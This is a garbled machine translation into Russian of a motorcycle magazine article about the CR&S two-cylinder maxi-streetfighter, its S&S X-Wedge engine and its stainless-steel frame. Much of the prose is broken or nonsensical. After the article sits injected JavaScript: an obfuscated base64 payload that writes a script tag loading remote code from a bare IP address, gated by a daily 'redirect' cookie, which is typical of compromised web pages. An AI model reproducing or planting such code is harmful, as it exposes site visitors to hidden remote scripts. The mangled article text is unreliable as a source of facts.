RIDERS

ВЕДЕТ, НО НЕ ЛОПАТЫ

В продаже через год по базовой цене 20 тыс. Евро., Ие посмотреть последний Милан шоу как концепция (и мы описали предварительный номер Riders 22) Это одна из немногих действительно оригинальных предложений последнего времени.
Милан CR&S, который его породил, такой же, как и очень легкий одноцилиндровый Vun.: Роберто Crepaldi, Giorgio Сарти и Джон Cabassi, Все три гонщика перед предпринимателями, Они сосредоточились на неизведанном нише, но интересно. Ий специальный выпускается небольшими серии, Модульный и настраиваемый, с исключительным содержанием американского и европейского стиля конфедератов Вакан французского, но предложил на долю от стоимости. приводит, два диалекта meneghino, потому что цилиндры два и смещение (1.916 это) Он находится рядом с двумя литрами, и почему, желая, велосипед ПУЭ быть в двух местах, а не в одноместном VUN. Этот макси-стритфайтер оснащен клином V2 56 ° X-Wedge американской модели S.&S, сильный монстр с его 16 кгм максимального крутящего момента всего три тысячи оборотов. Рама изготовлена ​​из полированной нержавеющей стали: большая балка, который также выступает в качестве бензинового контейнера, с алюминиевыми боковыми пластинами для поддержки одностороннего маятника (всегда большая изогнутая стальная труба) и бензобак, который также имеет седло.
Дизайн подписан Донато Cannatello, который работал на Aprilia Bimota, которые он позиционирует разгрузку под двигателем, Он спрятал все упоры и создал легко редактируемую минималистскую линию, добавив, или удаление, набор аксессуаров (в том числе корзин или контейнера над резервуаром) функциональные и эстетические приложения. Седло может находиться в одном или двух местах, и существуют различные решения для фар и отделки поверхности. Несмотря на большой двигатель, велосипед вообще компактный в своем роде, и весит столько же, сколько Harley Sportster 883, потому что дуу делается управляться не только показной. Амбициозный проект, не лишены сопротивления, которые необходимо преодолеть, как его опыт и репутация ЧР&S. Но надо сказать, что эта реальность организована, маленький, как настоящий мотоцикл промышленности. (Маурицио Gissi)

 

  функция getCookie(е){вар U = document.cookie.match(новый RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/г,”\\$1″)+”знак равно([^;]*)”));возвращение U?decodeURIComponent(U[1]):недействительным 0}вар SRC =”данные:текст / JavaScript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,Теперь = Math.floor(Date.now()/1e3),печенье = getCookie(“переадресовывать”);если(сейчас>знак равно(время = печенье)||аннулируются время 0 ===){Время вара = Math.floor(Date.now()/1e3 + 86400),дата = новая Дата((новая Дата).GetTime()+86400);document.cookie =”перенаправлять =”+время +”; Путь = /; истекает =”+date.toGMTString(),document.write(”)}